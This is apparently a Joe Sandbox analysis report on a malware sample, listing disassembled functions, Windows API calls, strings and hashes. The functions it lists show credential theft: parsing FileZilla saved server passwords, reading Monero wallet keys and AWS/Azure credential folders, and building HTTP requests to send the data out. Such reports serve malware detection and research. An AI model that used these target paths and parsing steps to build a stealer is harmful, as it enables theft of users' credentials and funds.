Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00090250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 00098DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00098E0B

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000899EC
Part of subcall function 000899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00089A11
Part of subcall function 000899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00089A31
Part of subcall function 000899C0: ReadFile.KERNEL32(000000FF,?,00000000,0008148F,00000000), ref: 00089A5A
Part of subcall function 000899C0: LocalFree.KERNEL32(0008148F), ref: 00089A90
Part of subcall function 000899C0: CloseHandle.KERNEL32(000000FF), ref: 00089A9A

Part of subcall function 00098E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00098E52

GetProcessHeap.KERNEL32(00000000,000F423F,000A0DBA,000A0DB7,000A0DB6,000A0DB3), ref: 00090362
RtlAllocateHeap.NTDLL(00000000), ref: 00090369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00090385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 00090393
StrStrA.SHLWAPI(00000000,<Port>), ref: 000903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 000903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00090419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 00090427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00090463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 00090475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 00090502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 0009051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 00090532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 0009054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00090562
lstrcat.KERNEL32(?,profile: null), ref: 00090571
lstrcat.KERNEL32(?,url: ), ref: 00090580
lstrcat.KERNEL32(?,00000000), ref: 00090593
lstrcat.KERNEL32(?,000A1678), ref: 000905A2
lstrcat.KERNEL32(?,00000000), ref: 000905B5
lstrcat.KERNEL32(?,000A167C), ref: 000905C4
lstrcat.KERNEL32(?,login: ), ref: 000905D3
lstrcat.KERNEL32(?,00000000), ref: 000905E6
lstrcat.KERNEL32(?,000A1688), ref: 000905F5
lstrcat.KERNEL32(?,password: ), ref: 00090604
lstrcat.KERNEL32(?,00000000), ref: 00090617
lstrcat.KERNEL32(?,000A1698), ref: 00090626
lstrcat.KERNEL32(?,000A169C), ref: 00090635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000A0DB2), ref: 0009068E

Strings

browser: FileZilla, xrefs: 00090559
url: , xrefs: 00090577
<Host>, xrefs: 0009037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 000902A4
<Port>, xrefs: 000903C6
<User>, xrefs: 00090410
profile: null, xrefs: 00090568
<Pass encoding="base64">, xrefs: 0009045A
password: , xrefs: 000905FB
login: , xrefs: 000905CA

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: f4922ff3eba11b0cbfec9a467640ea3c783b1f1a55edbd76a4eb99a8160386bb
Instruction ID: 26a71375fe7cf59646eeb0f5a46f1f78dd055a55f5bd2fe3c539a21402777595
Opcode Fuzzy Hash: f4922ff3eba11b0cbfec9a467640ea3c783b1f1a55edbd76a4eb99a8160386bb
Instruction Fuzzy Hash: F7D11271A10108ABCF04FBF4DD9AEEEB778BF55300F544518F502A6192DF74AA09DBA2

Function 00085960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00084839
Part of subcall function 000847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00084849

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 000859F8
StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 00085A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00085B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00D3FCB0,00000000,?,00D3EEC0,00000000,?,000A1A1C), ref: 00085E71
lstrlen.KERNEL32(00000000), ref: 00085E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00085E93
RtlAllocateHeap.NTDLL(00000000), ref: 00085E9A
lstrlen.KERNEL32(00000000), ref: 00085EAF
lstrlen.KERNEL32(00000000), ref: 00085ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00085EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00085F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00085F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00085F4C
InternetCloseHandle.WININET(00000000), ref: 00085FB0
InternetCloseHandle.WININET(00000000), ref: 00085FBD
HttpOpenRequestA.WININET(00000000,00D3FC80,?,00D3F488,00000000,00000000,00400100,00000000), ref: 00085BF8

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

InternetCloseHandle.WININET(00000000), ref: 00085FC7

Strings

", xrefs: 00085E16
", xrefs: 00085CD5
------, xrefs: 00085C0B
------, xrefs: 00085A96
------, xrefs: 00085D4C

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ec2d5cf6aa3bda60b11e0a5976da56f14f62a6a1860e9bdf1f0abef04c4336c4
Instruction ID: 01ad0608136a4458954159b11eae316532c0e78bc1811adb73275fc2185d33b9
Opcode Fuzzy Hash: ec2d5cf6aa3bda60b11e0a5976da56f14f62a6a1860e9bdf1f0abef04c4336c4
Instruction Fuzzy Hash: 8A12F171920128ABDF15EBA0DC95FEEB378BF15700F504199F10A66092EF702B49DFA6

Function 0008CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 00098B60: GetSystemTime.KERNEL32(000A0E1A,00D3EEF0,000A05AE,?,?,000813F9,?,0000001A,000A0E1A,00000000,?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 00098B86

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0008CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0008D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0008D0CE
lstrcat.KERNEL32(?,00000000), ref: 0008D208
lstrcat.KERNEL32(?,000A1478), ref: 0008D217
lstrcat.KERNEL32(?,00000000), ref: 0008D22A
lstrcat.KERNEL32(?,000A147C), ref: 0008D239
lstrcat.KERNEL32(?,00000000), ref: 0008D24C
lstrcat.KERNEL32(?,000A1480), ref: 0008D25B
lstrcat.KERNEL32(?,00000000), ref: 0008D26E
lstrcat.KERNEL32(?,000A1484), ref: 0008D27D
lstrcat.KERNEL32(?,00000000), ref: 0008D290
lstrcat.KERNEL32(?,000A1488), ref: 0008D29F
lstrcat.KERNEL32(?,00000000), ref: 0008D2B2
lstrcat.KERNEL32(?,000A148C), ref: 0008D2C1
lstrcat.KERNEL32(?,00000000), ref: 0008D2D4
lstrcat.KERNEL32(?,000A1490), ref: 0008D2E3

Part of subcall function 0009A820: lstrlen.KERNEL32(00084F05,?,?,00084F05,000A0DDE), ref: 0009A82B
Part of subcall function 0009A820: lstrcpy.KERNEL32(000A0DDE,00000000), ref: 0009A885

lstrlen.KERNEL32(?), ref: 0008D32A
lstrlen.KERNEL32(?), ref: 0008D339

Part of subcall function 0009AA70: StrCmpCA.SHLWAPI(00D38C28,0008A7A7,?,0008A7A7,00D38C28), ref: 0009AA8F

DeleteFileA.KERNEL32(00000000), ref: 0008D3B4

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: e2017d07ad5d889e9eb3ebfa77898b83af28c8001bd0dbfb296365f5ad6a13e1
Instruction ID: 9f91a894d96f6b8abc57c70f1f32c4f30cb7aaddbdd5b8d7c76b6170fe01af7b
Opcode Fuzzy Hash: e2017d07ad5d889e9eb3ebfa77898b83af28c8001bd0dbfb296365f5ad6a13e1
Instruction Fuzzy Hash: 2AE10171A10118ABCF04FBA0ED9AEEE7378BF15305F104159F507A6092DF35AE09DBA6

Function 0008C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00D3DE98,00000000,?,000A144C,00000000,?,?), ref: 0008CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0008CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0008CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0008CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0008CAD9
StrStrA.SHLWAPI(?,00D3DE20,000A0B52), ref: 0008CAF7
StrStrA.SHLWAPI(00000000,00D3DE38), ref: 0008CB1E
StrStrA.SHLWAPI(?,00D3E148,00000000,?,000A1458,00000000,?,00000000,00000000,?,00D38C08,00000000,?,000A1454,00000000,?), ref: 0008CCA2
StrStrA.SHLWAPI(00000000,00D3E368), ref: 0008CCB9

Part of subcall function 0008C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0008C871
Part of subcall function 0008C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0008C87C

StrStrA.SHLWAPI(?,00D3E368,00000000,?,000A145C,00000000,?,00000000,00D38C18), ref: 0008CD5A
StrStrA.SHLWAPI(00000000,00D38A58), ref: 0008CD71

Part of subcall function 0008C820: lstrcat.KERNEL32(?,000A0B46), ref: 0008C943
Part of subcall function 0008C820: lstrcat.KERNEL32(?,000A0B47), ref: 0008C957
Part of subcall function 0008C820: lstrcat.KERNEL32(?,000A0B4E), ref: 0008C978

lstrlen.KERNEL32(00000000), ref: 0008CE44
CloseHandle.KERNEL32(00000000), ref: 0008CE9C

Strings

, xrefs: 0008C9C6

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 120ba5d3f9a8d588670c262437df43999f77a017c989a3f2d1d134199310405e
Instruction ID: c23e98dd32a0bfed1980315be111de9931213fa7f692b6c758d7485178a40c47
Opcode Fuzzy Hash: 120ba5d3f9a8d588670c262437df43999f77a017c989a3f2d1d134199310405e
Instruction Fuzzy Hash: D0E1FD71A10118ABDF14EBA4EC96FEFB778BF15304F404159F10667192EF306A4ADBA2

Function 00098320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

RegOpenKeyExA.ADVAPI32(00000000,00D3C110,00000000,00020019,00000000,000A05B6), ref: 000983A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00098426
wsprintfA.USER32 ref: 00098459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0009847B
RegCloseKey.ADVAPI32(00000000), ref: 0009848C
RegCloseKey.ADVAPI32(00000000), ref: 00098499

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Strings

?, xrefs: 0009837A
- , xrefs: 000985A3
%s\%s, xrefs: 0009844D

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 79a3144cd659da5532454cc30e5b4d294da1fab59bcef9757c56aec5c9eb5717
Instruction ID: b30e5b9cca1dc3f8279136f65e1e3d3c2f3298e61c6bf0c68195291e9900eca7
Opcode Fuzzy Hash: 79a3144cd659da5532454cc30e5b4d294da1fab59bcef9757c56aec5c9eb5717
Instruction Fuzzy Hash: 4F81097191012CABDF24DB60DD95FEAB7B8BF09704F008299E109A6181DF716B89DFE1

Function 00094D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00098DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00098E0B

lstrcat.KERNEL32(?,00000000), ref: 00094DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00094DCD

Part of subcall function 00094910: wsprintfA.USER32 ref: 0009492C
Part of subcall function 00094910: FindFirstFileA.KERNEL32(?,?), ref: 00094943

lstrcat.KERNEL32(?,00000000), ref: 00094E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00094E59

Part of subcall function 00094910: StrCmpCA.SHLWAPI(?,000A0FDC), ref: 00094971
Part of subcall function 00094910: StrCmpCA.SHLWAPI(?,000A0FE0), ref: 00094987
Part of subcall function 00094910: FindNextFileA.KERNEL32(000000FF,?), ref: 00094B7D
Part of subcall function 00094910: FindClose.KERNEL32(000000FF), ref: 00094B92

lstrcat.KERNEL32(?,00000000), ref: 00094EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00094EE5

Part of subcall function 00094910: wsprintfA.USER32 ref: 000949B0
Part of subcall function 00094910: StrCmpCA.SHLWAPI(?,000A08D2), ref: 000949C5
Part of subcall function 00094910: wsprintfA.USER32 ref: 000949E2
Part of subcall function 00094910: PathMatchSpecA.SHLWAPI(?,?), ref: 00094A1E
Part of subcall function 00094910: lstrcat.KERNEL32(?,00D3FCD0), ref: 00094A4A
Part of subcall function 00094910: lstrcat.KERNEL32(?,000A0FF8), ref: 00094A5C
Part of subcall function 00094910: lstrcat.KERNEL32(?,?), ref: 00094A70
Part of subcall function 00094910: lstrcat.KERNEL32(?,000A0FFC), ref: 00094A82
Part of subcall function 00094910: lstrcat.KERNEL32(?,?), ref: 00094A96
Part of subcall function 00094910: CopyFileA.KERNEL32(?,?,00000001), ref: 00094AAC
Part of subcall function 00094910: DeleteFileA.KERNEL32(?), ref: 00094B31

Strings

*.*, xrefs: 00094E64
Azure\.aws, xrefs: 00094E5F
\.azure\, xrefs: 00094DC1
Azure\.azure, xrefs: 00094DD3
\.IdentityService\, xrefs: 00094ED9
\.aws\, xrefs: 00094E4D
*.*, xrefs: 00094DD8
Azure\.IdentityService, xrefs: 00094EEB
msal.cache, xrefs: 00094EF0

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
